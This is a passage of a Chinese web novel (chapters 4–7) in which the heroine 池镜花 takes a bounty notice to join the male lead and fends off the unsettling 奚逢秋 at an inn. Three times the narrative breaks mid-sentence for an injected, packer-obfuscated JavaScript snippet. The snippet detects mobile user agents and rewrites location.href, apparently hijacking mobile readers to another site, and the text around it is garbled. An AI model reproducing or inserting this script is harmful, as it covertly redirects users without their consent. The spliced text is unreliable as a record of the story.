难道因为是她拿过来的所以不太放心,怕她下毒? 池镜花感到一阵无语,毫不犹豫地将已经快要冷掉的另一个推到他跟前。 “这样可以吗?” 他轻“嗯”一声,慢腾腾地接过胡饼。 为表明自己根本没有下毒,池镜花立马咬了一口,又朝奚逢秋看去。 奚逢秋瞧着池镜花手中胡饼上的缺口,莫名流露出一股可惜可叹的神情。 “可惜……” 池镜花起初不理解,但在看见奚逢秋手里的胡饼后焕然大悟。 他是在可惜她没有下毒! 更为准确的说,他不是怕中毒,而是期盼她能够下毒,更期待她中自己的毒,所以他才故意要求调换两张胡饼,是他想要看着她中毒痛苦的样子。 很好。 非常符合他的脑回路。 池镜花暗骂了一句“有病”,嚼了嚼口中的胡饼艰难地吞入腹中,又偷偷看了一眼奚逢秋,发现他低头咬了一口胡饼,神色晦暗不明,不知在想着什么。 但她不愿深究,现在,她要去悬赏司接任务,因为只有这样才能接近男主维持原著剧情。 其实,这段剧情本该奚逢秋来走,但现在很明显,依靠奚逢秋走剧情不太现实。 这是一个叫做金德的镇子,也是原著中故事的伊始,好在自踏入这里开始,系统给她提供了张新手村地图,不过并不详尽,只标注了几处重点建筑,其中就有悬赏司。 足尖点地,裙摆轻舞,空气中飘来淡淡花香。 池镜花穿梭在街上,一路朝地图标注的地点走去,而奚逢秋,仿佛已默认会跟着她一般。 有种说不上来的怪异。 没过多久,奚逢秋意识到什么,他偏着头看向身侧的姑娘,苍白的面容漾起一个温暖和煦的笑。 “这是去悬赏司的路。” 池镜花不假思索地快速答道:“我知道。” 悬赏司是几十年前朝廷设立的,原本只有官府会定期发布悬赏令,后有民间的委托者借悬赏司发布悬赏令,因为案件的特殊性和危险性,现在已变成江湖中人的谋生手段之一。 池镜花需要悬赏令的奖金,更需要接近男主。 奚逢秋眼睫低垂,目光悠悠地落回到胡饼上,唇角弯起,低声重复一遍她说过的话。 “嗯,你知道……” 闻言,池镜花猛地转头过,猝然明白他竟是在试探自己对这里究竟了解到何种程度,以此打探她身上的谜团。 太聪明了,男配太聪明了。 感觉一不小心就会掉入他的陷阱。 池镜花紧紧咬了咬下嘴唇,接下来,在没到悬赏司之前,不管他说什么,都嗯嗯啊啊地敷衍过去。 奚逢秋完全不在意也不生气,事实上,他也没指望池镜花能给他透露出什么有用信息。 不多时,远离喧嚣的街区,在一隐秘的角落,有座破败的房屋,但确实是朝廷所管辖的悬赏司,里面有位管事的官吏。 官吏是名身材瘦弱、其貌不扬的青年人,戴着一顶偏大的官帽,一见到奚逢秋,便是一副熟络的模样,笑着从古旧的躺椅上站起招呼他。 这也难怪,原著中就曾提过奚逢秋在没遇到男女主之前,就是靠接悬赏令为生。 “奚公子,又来接悬赏令吗?我看看,除了黑妖的悬赏令,还有什么适合的。” “不是我。” 奚逢秋直截了当地打断他,说着耳饰轻晃,已偏头看向身侧的池镜花,含笑的目光中多了几分探究的意味。 “对吗?池姑娘。” 小吏用手扶了扶官帽,这才注意到他的身旁跟着位样貌出众的姑娘。 起初是诧异,毕竟他在这做事几年都未曾见过女子踏足,可一想到是她是奚逢秋带来的时候,估摸着她身上也许有过人之处。 “姑娘想接什么样的悬赏令?” 池镜花无法具体描述她想接的悬赏令,只能尴尬地笑笑。 “我可以先看看吗?” “当然可以。” 屋内没有窗户光线昏暗无比,小吏找来一盏烛灯,跟池镜花耐心地解释起目前悬赏司暂存的所有悬赏令的具体情况。 足足有两摞。 可在这众多悬赏令中,池镜花只对一则有兴趣。 找到了! 比起其他悬赏令所提供的详情信息,这则只有两行字。 【内容:招募同伴】 【地点:金德客栈】 奇怪是奇怪了点,但毕竟是男主所发布的悬赏令,既是男主,总要有点与众不同。 小吏好奇地凑了过来,看清是哪张悬赏令后,神情犹犹豫豫。 “姑娘,你确定要接下这则悬赏令?” 在他看来,这则悬赏令透露的信息不够多意义也不明确,报酬也不多,发布这也悬赏令的人恐怕也是初出茅庐不懂行情,因此一般不会有人接这类悬赏令。 池镜花神色坚定,“嗯。” 见状,小吏也不好说什么,下意识地扶正帽子,欲言又止地看向奚逢秋。 奚逢秋适时垂眸看了一眼,目光扫到悬赏令上的任务内容和地点时,蓦地弯了弯眼睛,发出真诚的赞赏。 “挺有意思的。” 有意思? 池镜花这才记起,原著曾提过,奚逢秋就是因为兴趣接下了这则悬赏令,所以后来才跟男女主组了队,虽然因为她的到来,剧情产生偏差,已不能指望奚逢秋能主动接下男主的悬赏令,但只要她接下,奚逢秋总要跟过去的,就不算崩剧情。 她转过头看向身侧,看见奚逢秋双瞳微转,目光正直勾勾地盯着她,他紧抿着唇,什么也不说,可满眼皆是“有趣”二字。 大抵对他来说,所有的一切不过是一时的心血来潮,也许哪天想法改变会杀了她。 真是令人头皮发麻。 池镜花攥住悬赏令,一言不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244781|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发地跟官吏办好接悬赏令的步骤,其实也就是登记一下,日后若任务完成,可凭借此悬赏令领取赏金。 待出了悬赏司的红门,池镜花转过头,发现奚逢秋没有像往常一般跟过来,而是站在幽暗的屋内,垂头似在跟小吏讨论什么。 奚逢秋将“斩杀黑妖”的悬赏令还给小吏,里面包裹着一颗黑妖爆裂的眼珠,什么含义已不言而喻。 小官心领神会,按照规定取来赏金。 奚逢秋接过钱袋,与往常一样道了声“多谢”,只是这回迟迟未见下一步动作,而是盯着去袋子的露出的铜板。 “难道奚公子还想接别的悬赏令?” 小吏跟奚逢秋合作过几次,每次见他皆是为悬赏令而来,自然而然地认为他是想接另外的悬赏令赚取赏金。 他轻轻握住钱袋,弯着眼睛,露出个温和的笑容。 “我记得你以前在江湖以贩卖情报为生,对吗?” 小吏愣了下,很快回过神,如实回道:“奚公子好记性,不过那都是几年前的事情了。” “嗯,我知道。” 奚逢秋在意的只有情报贩子这个身份,因为他想要寻找一个确切的答案。 视线晃到驻足门外的少女,想到昨夜的光景,不由自主地将赏金递给对方。 “我只是好奇……平安县在什么地方?” 他们谈话的低语传不到池镜花耳中,她独自在门口等了会儿,不多时,看见奚逢秋闲庭信步般的走了出来。 她并未多言,只道是要去金德客栈,问奚逢秋有何打算。 “跟着池姑娘,不可以吗?” 日昳的日光斜照在他的侧脸,他微歪脑袋,血红的耳铛微晃,柔声细语的,唇畔带着温淡的笑,一副纯真良善的模样,将某种危险的情绪吞噬个干净。 好看的人在谈话时天生自带优势,更何况,池镜花不瞎,在面对一张完全长在她审美上的脸向她扮乖讨好时,根本毫无招架能力。 心脏不争气地漏跳了半个节拍,慌乱中,她心虚地移开视线,随手指了个方向。 “金德客栈应该是这边吧。” 奚逢秋抬起苍白的指尖,微笑着纠正了她的错误。 “是这边。” 池镜花佯装镇定地“哦”了一声,“那我们走吧。” 在前往金德客栈的途中,也是她平复心绪的好机会。 因接悬赏令耗费了些时间,待找到金德客栈时已是傍晚,正是一天中客栈最繁忙的时间段。 这个时间点,客人登门本是件稀松平常的事,但却不知为何在二人出现在客栈时,所有客人都不约而同地警惕地看向门口,眼神多是嫌弃和厌恶。 原本嘈杂吵闹的环境瞬间安静,黄昏的光线透过门窗,洒在地面形成两道斑驳的影子。 即使感受不到任何杀气,但这些人看上去也不像是与他们交朋友的样子。 池镜花很确定他们认识奚逢秋,就是不知道其中有没有他的仇家。 “二楼。” 奚逢秋跟个没事人一样,在池镜花分神的一分钟里,已从店家口中套出有用的信息。 池镜花应声,跟着他一块踏上通往二楼的楼梯。 两人停在一间普通的客房门口,就在她抬手扣门的前一秒,一股外力猝然拽住她的右腕,迫使她暂停动作。 是几根近乎透明的丝线,如毒蛇般的一圈又一圈地缠上她的手腕。 即便隔着布料,也能够感受到一阵阵凉意,顺着手腕快速攀至四肢,如一根长刺,穿破皮肤一点点侵入骨骼,让她忍不住打了个冷颤。 鼻腔被一股淡淡的香气所萦绕,池镜花愕然地回过头,果不其然,看见奚逢秋指尖生出了几缕丝线。 四周安静,从奚逢秋指尖所生出的细线两端连接着二人,少女的每一次呼吸每一次心跳,都透过这些细线清晰完整地传给他。 他的语速极为缓慢,声音愈来愈低。 “不要再往前了……” 5. 第5章 刹那间,山上的记忆如潮水般纷至沓来,仿佛已置身于当日情景,池镜花呼吸一滞,紧随其后的恐惧情绪快要将她吞没。 呼吸变重,脚底发软,整个人似摇摇欲坠,几乎是下意识地想逃。 可预料之中的剧烈疼痛没有到来,反而是被他抓住的手腕皮肤开始有些发痒发烫,忽远忽近地,像是置于火上烤。 看样子,他不打算对她动手。 可这个姿势终究不大舒服,缓过神来的池镜花动了动手腕,左手扯了扯丝线,颇为不解地问道:“怎么了?” 奚逢秋食指微动,示意她安分些不要乱动。 随着他的一个轻微的动作,缠绕在她手腕上的那些丝线霎时间收紧,池镜花感到一阵微微的刺痛,疼得她难以自制地蹙了蹙眉。 “奚逢秋?” 一时紧张,池镜花忘记用尊称,而是唤他全名,本还有点担心他会不会生气,不想对方似根本不在意称谓的变化,原本注视房门的目光也慢腾腾地挪至池镜花的脸颊。 空气仿若凝滞。 在静态的二人空间,少年慢慢弯起了眼睛,笑容昳丽似画中仙,语速不疾不徐,像在好意提醒。 “会撞上的。” “撞上?” 池镜花不明所以,手腕却愈发得疼。 “嗯,会撞上的。” 奚逢秋眼睫低垂,平静的双瞳不可避免地被她纤细的手腕所吸引,皱巴巴的淡粉色衣袖下,是因紧张而握住的拳头,正微微颤抖着。 他的声音极其轻柔,夹带几分哄骗的意味,笑容如冬日雪后冒出头的第一抹暖阳。 “所以先别动,好吗?” 池镜花抿唇不语。 大抵是默认了他的做法,附着在丝线上的力气正在慢慢往回收,手腕一圈那灼烧般的疼痛也逐渐消退。 就在此时,“吱呀”一声打破寂静,停滞的空气继续流动,只见到一名端着盥盆的客栈伙计推开房门。 两波人打了个照面。 池镜花终于明白他口中的“撞”是何含义,而伙计的盥盆中满是污血和纱布,撞上确实不太妙,但令她意外的是,奚逢秋居然能够察觉到门的另一边正在发生的事情。 太敏锐了。 伙计朝两人点头致意,转身下了楼。 束缚她的缕缕细线彻底从手腕滑落消失,池镜花取出悬赏令的同时,指节轻叩木门,不忘禀明来意。 听说他们是从悬赏司过来的,两人立马被请进屋内。 空气里充斥着一股淡淡血腥味,客栈房间陈设简易,天还没全黑,桌上的蜡烛已燃着了。 烛火摇曳,屋内只有一个人,便是《鬼仙》中的男主赵星阑。 男主一身青衣道士打扮,模样秀气,自报家门时眼神带着初出茅庐的清澈,在看见池镜花抓着他的悬赏令时,神情诧异万分。 “是池姑娘接了我的悬赏令?” “嗯,是我。” 池镜花不好意思地摸了摸鼻梁,不经意间,余光瞥见奚逢秋。 落日与烛火交相辉映,照映在少年的侧脸,苍白的面色似是逐渐有了色彩,长睫如蝶尾轻颤,微不可察地弯着唇角,总是猜不透他在想什么。 似是想起什么,池镜花忙不迭地补充道:“但我们是一起的。” 奚逢秋面含微笑地轻轻点头,垂下长睫,完全认同她说的一切,“嗯,我是跟着池姑娘的。” ……怎么感觉听着有点奇怪? 算了,还是专注于眼前的事情吧。 池镜花深知自己能力不足,估摸着赵星阑一开始肯定打算找一个好身手不拖后腿的同伴,但她又不得不跟着男主,只好以退为进,先下手为强。 “只要赵道长不嫌弃我们就好。” “哪里的话,二位愿意帮忙赵某真是感激不尽。” 赵星阑急得连连摆手,一不小心扯到胳膊上的伤口,疼得他“嘶”了声,下意识地皱眉捂住胳膊。 “赵道长,你受伤了吗?” 池镜花明知故问,其实原著就是因为男主受伤所以才决定去招募同伴,这才正好遇上了奚逢秋这位男配。 原著中,男主跟奚逢秋心连心把他当兄弟,池镜花看书时,也一度以为奚逢秋至少把赵星阑当作朋友,现在看来,还真不一定。 “不要紧,我先跟你们解释一下当前的情况吧。” 赵星阑忍着手臂剧痛倒了两杯茶。 池镜花将其中一杯推到奚逢秋跟前,没注意到他的古怪神色,自顾自地捧着另一杯茶水认真地听赵星阑讲述具体情况。 事情跟池镜花在书中看到的剧情大差不差。 赵星阑本要前往京师完成家师交代的任务,路过此地因为盘缠不多经人介绍接了个悬赏令,但在捉妖途中不慎受了重伤,虽捡回一条小命,但要独自完成悬赏令的任务着实困难,这才想着招募个同伴。 当然,除去他发布的悬赏令赏金,就连他手上的悬赏令的赏金也对半分。 池镜花边听边点头,愈发地钦佩男主,不像她,除了跟着男主走剧情,还想捞点零花钱。 “那你所接的悬赏令任务内容是什么?” 赵星阑没想到眼前的姑娘看着文静纤弱,接受能力居然这么快。 他抿口茶接着往下说。 俗话说“术业有专攻”,身为道士,他自然最擅长除妖捉鬼之事,所以他接的悬赏令自然是“捉鬼”,地点是袁氏布庄,但具体是谁发布的悬赏令却不得而知,不过报酬却很丰厚。 经男主提醒,池镜花隐约记起原著是有这么段剧情,只记得是什么布庄闹鬼,最后怎么收场的却忘了个干净,毕竟她当时的关注点都在男女主的感情线上。 望着男主那一副病恹恹的面容,池镜花将剩余的茶水一口饮尽,自告奋勇地举手。 “赵道长,既然我们现在是同伴了,那明日你就在客栈休息,就由我跟奚逢秋去布庄探探虚实,你觉得如何?” 赵星澜不是很确定,毕竟他们刚认识,连对方的底细都不清楚,即使他察觉到奚逢秋不简单,也不好让他们直面危险。 天色暗淡,凄冷的月光透过精致的窗棂,洒在昏暗的角落,留下几道斑驳模糊的树影。 冷风穿堂而过,烛火明明灭灭。 奚逢秋指尖轻点杯沿,一圈圈地绕过,一副兴趣乏乏的模样,只有在池镜花偶尔开口的时候才缓缓抬眸,最后望向赵星澜,露出个礼貌的微笑。 “赵公子,我也觉得你还是休息一段时日为妙。” 奚逢秋难得与她统一战线,池镜花都以为是她听错了,惊诧地转过头,不料奚逢秋突然将属于自己的杯盏递到她跟前。 他轻歪脑袋唇角弧度渐起,温暖的烛光在紫蓝色的眼底翻腾跳跃,乖巧天真的神情中多了几分期待。 “可以帮我喝了它吗?” 啥??? 待她仔细一瞧,一杯水,他竟是一口没喝,不喝就不喝,难为她做什么? 池镜花差点破口大骂。 但毕竟有求于他,因为池镜花一个人可不敢往闹鬼的地方瞎跑,转念一想,就当是给他的报酬了。 她接过瓷杯毫不犹豫地喝完。 除了冷了点,跟她那杯也没什么不同。 苦苦的,涩涩的,夹杂着茶叶的芬芳。 但就是莫名地不爽,好像又被他试探了。 池镜花将瓷杯塞回去他手中,随意地擦了擦嘴巴,“好了,喝完了。” 奚逢秋极轻地“嗯”了声,垂眸望向空空如也的杯子,唇角擒笑,缓慢抬起手,以指腹一点点地拭去她留下的痕迹。 赵星阑一时不知该说什么,只觉得两人的关系有些微妙,说好也不是,坏也谈不上,真的很难用一个词语来形容。 他无奈叹口气,轻声道:“那好吧,还请二位明日务必小心。” 池镜花点头如捣蒜。 安全固然重要,不过休息同样必不可少。 池镜花决定去睡觉,但给她安排的客房里只剩半根蜡烛,想到夜里也许会用的上,便去一楼取来照明蜡烛。 一灯如豆,无人经过,客栈二楼的长廊寂静无声、空空荡荡。 手握两根蜡烛,池镜花快步流星般的穿梭在走廊中,直到偶然间路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244782|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过奚逢秋的门口时,无意发现旧门虚掩着,隐隐有摇曳的烛光从一道狭长的门缝泻出。 她脚步微顿,好奇地探出头,朝里面多看了两眼。 她以为会看见奚逢秋,不想最先闯入视线的是一张精美漂亮的红纸人。 红纸人两脚立于桌面,双手隔空做出各种小动作,而操控纸人的正是一根细线,线的那端系着奚逢秋的右手食指。 烛光明暗交替,衣角边垂下的一片阴影,散落着些许碎纸屑。 奚逢秋百无聊赖地撑着脸颊,半边身子隐于暗色。 他淡淡垂眸观察红纸人的一举一动,整个人仿佛透明柜子里任人拿放的精致人偶,没有任何情绪波澜,总也猜不透他在想什么,但微微上扬的唇角则表明他现在心情应相当不错。 撑脸的左手指尖亦有几根细线长长地拖出,连接着地面上的红纸人,只要他喜欢,这些闲置的纸人也可任他摆弄。 分明无风,池镜花却感到背后凉飕飕的,尤其是对上红纸人空洞洞的视线,脑中自动匹配到一张咧到耳后的大嘴巴,以及无数只想要将人拖入深渊的黑色大手。 恐怖诡异。 啪! 细长的线在某一刻分崩离析,红纸人瞬间倾倒,缓慢地从飘到地面,混进一堆纸人当中。 此时此刻,人偶终于“活”了过来,浓睫如蝶尾微颤,约有抬眸的趋势。 视线相撞的前一秒,池镜花脚底抹油般的飞奔离去,只给奚逢秋留下个模糊不清的残影。 像是他的错觉。 奚逢秋低下头,看见烛火微晃,刚才,门外似吹进了一阵风。 池镜花一到房间就赶紧反锁房门点上蜡烛,光亮盈满房间后,她又赶紧饮下一杯压惊茶,呼吸才逐渐顺畅。 太不正常了。 谁会用纸人自娱自乐啊。 似是想起什么,池镜花着急忙慌地撩开衣袖,露出一截小臂。 果不其然,他虽不是故意为之,但不可避免地,还是留下一道似被勒过的痕迹,若以指腹轻按,伴随着灼灼刺痛。 ……太危险了! 攻略他的任务太危险了! 说不怕是假的,但在奚逢秋不发疯的情况下,他这个人还是极好相处的,如今,池镜花只能期盼这种时刻能再多点。 就在此时,磅礴的雨声和轰隆的雷鸣一道传来。 下雨了。 与此同时,昏暗的走廊却传来一阵轻微的脚步声,夹杂着铜钱相撞的清脆声。 起初,她没有在意,直到一抹熟悉的黑影停在门口。 是奚逢秋。 隔着一道木门,池镜花分明只能瞧见个人影,却莫名地觉得自己正被他凝视着。 赤|裸的视线毫不避讳,由上及下,细致描摹她全身每一处细节,无端搅乱她的呼吸。 池镜花安静地等他敲门,等了许久迟迟未见任何动作。 场面一时僵持不下,几分钟后,终是池镜花投降忍不住开了门。 恰巧一道闪电划过,照亮幽暗的走廊。 他伫立在一排湿漉漉脚印的尽头,全身上下皆被雨水浸透,冰凉的水珠顺着指尖滑落,连头发丝都在滴水。 一颗豆大的雨珠从发尾滴落,“啪嗒”一声砸在地板上。 这声音极轻,落在池镜花的耳中,却如一道电流,迅速传至她全身每一处,最终汇集脑海,“砰”地如烟花炸开,落地的瞬间,化为一张不透气的密网,将她裹在其中,就连她的每一根头发丝都不可避免地沾上他身上湿润的水汽。 池镜花无处遁形,只能强装淡定地抬头与他对视。 他的睫羽半湿,双瞳似氤氲着淡蓝色的雾气,惨白的面颊布满细密的水珠,唯有薄唇附着一丝血色,反而衬得他如地狱爬出来的恶鬼罗刹。 他就这样一言不发地站着,静静注视着她。 似在耐心等待什么。 池镜花斟酌着,正要开口打破寂静,不料奚逢秋忽地如月牙似的弯起眼睛,如一柄划开浓重夜色的利器。 “要请我进去坐坐吗?” 池镜花犹豫几秒,点了点头。 6. 第6章 冰凉的雨水顺着衣摆缓慢地滴落在地面,重重敲击着池镜花的心脏。 不太对劲。 直觉告诉池镜花定是发生了什么。 她蓦然抬头盯着他的脸庞打量半晌。 少年眼底探究的意味稍纵即逝,取而代之的是一抹清浅的笑意。 他人畜无害般的轻轻歪了歪头,鲜红的耳铛微微晃了几下,顺势滑落的雨水仿佛连成一截红色的线。 “池姑娘?” 意识猛地被拽回,池镜花还没来得及应声便嗅到一阵淡淡的血腥味,抬眸看见奚逢秋的肩胛渗出了鲜血,混着雨水,顺着手臂从指尖缓缓滴落。 心跳猝然提速,池镜花立即提醒道:“你的伤口裂开了。” 听她所言,奚逢秋下意识地抚上左肩,下一秒,指节分明的手掌满是血迹,才意识到是淋过雨的伤口裂开了。 奚逢秋神色不改,眼底平静地如一汪湖水,只对她露出个歉意的笑。 “抱歉,很难闻吗?” 他的声音虽轻,但难得的是,眉眼之间居然流露出一丝真情,似乎不在乎伤势如何,而且担心自己是否会给她带来困扰。 潇潇雨声被轰隆的雷鸣所掩盖,屋内烛火闪烁,地面的两道人影在摇摆。 隔着不到一米远的距离,池镜花沉默不语地注视着他,感受到一股强烈的违和感。 比如,奚逢秋这个人分明行事乖张不合常理,平日里却处处显露出良好的教养。 即便难以理解,但她很快就接受了,而且很想去了解他。 被雨水稀释的血腥味极淡,不是两人距离太近,池镜花也不会注意到这点。 她一边如实摇头,一边偷偷观察他的神情变化。 “不难闻,但你不觉得疼吗?” 谈及这个话题,奚逢秋垂眸盯着掌心的血水打量半分钟,许是想起什么,唇角微微扬起,音量渐低。 “我想应该不会疼的。” 不疼? 受伤怎么会不疼呢? ……难道他感受不到疼痛?? 池镜花努力回忆原著,书里确实描写奚逢秋每次受伤都很是镇静,但从未提过他没有痛觉一事。 她又想起山林中奚逢秋与黑妖对峙的情形,哪怕他是妖也冷静得可怕,仿佛根本感受不到黑妖撕咬肩胛的痛楚。 思来想去,只有“没有痛觉”这一种可能性。 察觉到池镜花的小心思,奚逢秋不羞不恼,事实上,“没有痛觉”这件事他从未掩饰过,知道的人也不少,多一个池镜花不算多。 比起这个,他对她丰富多变的表情很有兴趣,不由得轻声笑了笑。 “你好像很惊讶。” 池镜花诚实道:“只是有些意外。” 毕竟她长这么大,还是第一次遇见没有痛觉的人。 “是吗?” 奚逢秋默默垂下睫羽,双瞳静静凝视掌心,如雪地里的一尊雕像,不知在想什么。 池镜花目不转睛地盯着他的肩胛,即便奚逢秋感受不到疼痛,但始终觉得就这样放任伤口不管不好。 “你的伤口需要止血。” 奚逢秋瞥了一眼伤势,同意地点头。 “嗯,是这样。” 见他不抗拒,池镜花立刻取来布巾递给他。 奚逢秋却久久未动。 蓝紫色的瞳孔微转,好奇又疑惑的视线不偏不倚地落在身上,四目相对,沉静的眼底倒映出少女的白净的脸庞。 “你好像对我的事情很在意。” 那能不在意吗?奚逢秋可是她千挑万选的任务对象,可以说,在这个世界,除了自己,她最在乎的只有奚逢秋。 只能说,男配真的很敏锐。 “至少我对你没有一丁点儿恶意。” 这也是大实话。 说罢,池镜花不由分说地将布巾塞到他手里,并小心翼翼地避开他指尖的血迹。 垂眸望见她那谨小慎微的动作,奚逢秋轻轻握住布条,诧异过后,瞳孔之中溢出盛大的笑意。 “池姑娘好聪明。” 突如其来的赞赏令池镜花感到莫名其妙。 未等她开口询问哪里聪明,奚逢秋蓦地往前半步。 微弱的烛光悠悠晃动,地面上两道截然不同的人影趋于重叠,逼近的少年将她的身形完全笼罩在黑暗里。 许是与他离得太近,混着血腥的微凉水汽争先恐后地黏上她的肌肤,极速侵袭她的毛孔,全身上下的每一处似乎都散发出莫名的湿气。 奚逢秋没有碰到她,他只是实在太好奇了,便忍不住靠近半分,迫切地想要寻求一个答案。 “连我的血有毒都知道啊。” 池镜花神色一顿,怎么也没想到问题居然出在这。 她深吸一口气,决定实话实说。 “是我根据黑妖死前的模样瞎猜的。” “原来是这样。” 和她设想的情况不太一样,奚逢秋并无太大的反应,只是唇角微扬,凤眼低垂,望向手中的布巾,面颊上月牙形状阴影随着烛火微晃。 半晌,他轻轻抬眸,淡淡的目光若有似无地扫过她的脸颊,终于干净纤细的手指,平静的面容逐步漫上疑色。 左耳耳饰红得滴血,奚逢秋双瞳一眨不眨地盯着她的。 “你现在好像跟在山上时不太一样。” 池镜花极力忍住后退的欲望,假装若无其事地对答如流。 “什么不一样?” 奚逢秋眉眼弯弯,总是一副极好说话的温柔君子模样。 “你的手指没有沾上我的血。” 池镜花没说话,而是心虚地将双手背到身后。 奚逢秋笑如暖阳,“你很怕死,对吗?” ……很好,他发现了。 池镜花清楚他指的是山上那件事。 那时他问她身份一事,她怕身份暴露,又怕奚逢秋一时心血来潮杀了她,所以孤注一掷,摆出一副大义凛然赴死的模样。 当然,都是装出来的。 她就是个胆大的赌徒。 “嗯,你说的对,我很怕死。” 左右编不出对策,而且她又不可能一直演戏,池镜花索性大方承认,“在山上的时候,我之所以用性命作为赌注,是因为我真的不知道怎么回答你。” 虽然她的身份成谜,可感情最为真挚,此时此刻,她并没有说谎。 奚逢秋想起悬赏司小吏说过的话,也明白池镜花是在用一个根本不存在的“平安县”在诓骗他。 池姑娘,真的很聪明。 当奚逢秋意识到这点时,突然对她的来历更加好奇。 被这种莫名的情绪占满内心,令他有种奇异的感觉。耳畔,磅礴的雨声的沉闷的雷声愈来愈小,取而代之是少女急促的呼吸声和心跳声。 这一切仅仅是因为好奇。 他静静凝视着池镜花,低声喃喃自语:“没关系,我会知道的……” 虽然暂时没有任何头绪,但他已经开始期待当揭开真相纱布的那一刻,池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池镜花不得不承认,自己对他还是有几分忌惮的。 虽然奚逢秋相貌极为好看,但他那捉摸不透的性格总是令她在走钢丝般的提心吊胆。 她只希望可以跟他多多相处,也许就能找到应对之法。 或是想要进一步了解他的心情过于强烈,池镜花丝毫没有知觉到奚逢秋藏于眼底的情绪涌动,鬼使神差般的开了口。 “哪里麻烦?” “因为我讨厌旁人畏惧的神情,会让我忍不住想杀了他。” 哪怕话题内容触及最为敏感的“生死”,他的声音极为轻柔,仿佛只是在诉说一件再平常不过的事情,还煞是好听。 只有池镜花震惊到什么声音也发不出,也忘记了思考,只剩本能反应。 湿漉漉的发丝还在滴水,奚逢秋一言不发地凝视着池镜花,面颊不见一丝血色,五官却惊艳绝绝,活像一只摄人心魄的水鬼。 水鬼的蓝瞳孔倒映出少女惊诧的神情,下一刻,血红的耳饰轻轻摇荡,他微微弯腰,故意整张脸凑到她跟前。 身后已无路可退,池镜花却还是下意识地抓住墙壁,只恨自己不会穿墙之术。 奚逢秋却好似被什么给逗乐,陡然弯起了双眸。 “嗯,就像池姑娘现在这般。” 7. 第7章 不知哪里又惹到了他,有时候,奚逢秋就会像现在这般会毫不避讳地展露对她的杀意,就像一把悬在高空会随时刺下剑刃。 池镜花全身冰凉,呼吸间,皆是淡淡血腥,如一层不透气的透明薄膜包裹住她全身。 闪电乍起,照亮四周,雷声紧随其后。 在一道道沉闷的雷声中,池镜花安抚好自己,待雷声消散,她稍稍抬起头,一脸迷茫地眨着眼睛。 “你说什么?” 烛火微晃,模糊一切。 奚逢秋的表情愈发疑惑,他歪起脑袋一眨不眨地打量池镜花,可惜未能获取到任何有用的信息。 “没听清吗?” 他的声音很轻很轻,似从遥远的天边飘来。 池镜花神情自若地点了点头,“嗯,方才雷声太大,所以我没听清。” 她睁着仿若装着星空万物的亮闪闪的眼睛,完全看不出任何异常,或许正如她所说的那般——她压根没听见。 就当是这样好了。 奚逢秋没有重复原先的话,而是静静聆听屋外杂乱无序的雨声,微笑着点头,同意她说的一切。 “说的也是,这雨好像越下越大了。” 说罢,他主动退后半步,留出一个人的空隙,神色再次恢复到白日里那彬彬有礼的模样。 “那池姑娘,我就不打扰你休息了。” 池镜花咬了咬唇瓣,身体绷直,没有说话。 “这个。” 奚逢秋伸出手,露出一截苍白的手臂,甚至隐约可见青紫色血管,随后慢慢将布巾递给她,脸上挂着一抹温暖的笑容。 “多谢。” 他没有用布巾止血,所以布巾的大部分依旧干净。 池镜花低头轻道了句“不用客气”,接过布巾时无意看见奚逢秋的伤口虽已不再流血,但鲜血早已染红他的左肩白衣,乍看之下如一朵火烧的云。 “如此,便预祝你做个好梦。” 奚逢秋始终保持得体的微笑,没再多说什么,转身安静离去,踩着她曾踏过的痕迹,指尖滑下几滴血水,溅落在湿漉漉的脚印边上。 望着渐行渐远的模糊背影,池镜花如释重负的松口气。 事实证明:装傻虽然无耻,但奏效。 同时,在这次交锋中,池镜花明白件事——奚逢秋虽然危险,但意外地好糊弄。 太好了。 她感到无比庆幸。 空气中的血腥并未就此消散,池镜花也懒得管,习惯后便直接在这诡异的氛围下沉沉睡去。 梦醒时,池镜花眨了眨眼睛,扭头望见日光透过窗户投在地面的模糊光斑,满脑子只剩一句话:还真被他说中了。 池镜花做了个好梦,梦见已经去世多年的爷爷奶奶,可惜梦境永远无法成为现实,遗憾也不会凭空消失。 强行收起不愉快的回忆,想起今日还要去袁氏布庄打探闹鬼的消息,池镜花赶紧收拾一番前往客栈一楼。 在靠窗的一隅,日光温暖明媚,斑驳的树影微晃,池镜花看见奚逢秋安静地坐在那里,视线望向窗外,只是周围仍旧有很多敌视的目光,像一根根长刺扎满四周。 客栈环境异常的静,衬得池镜花快步走向奚逢秋的脚步声尤为突兀。 “要一起去袁氏布庄吗?” 池镜花边说话边悄悄打量他的左肩,不出所料,一夜过去,他身上的血迹皆被清理干净,只是面颊依旧没什么血色。 奚逢秋视线微微转向她,探出一根指节分明的手指,将面前的一碗白粥轻轻推至对面,眸底含着清浅的笑意。 “先吃点东西吧。” 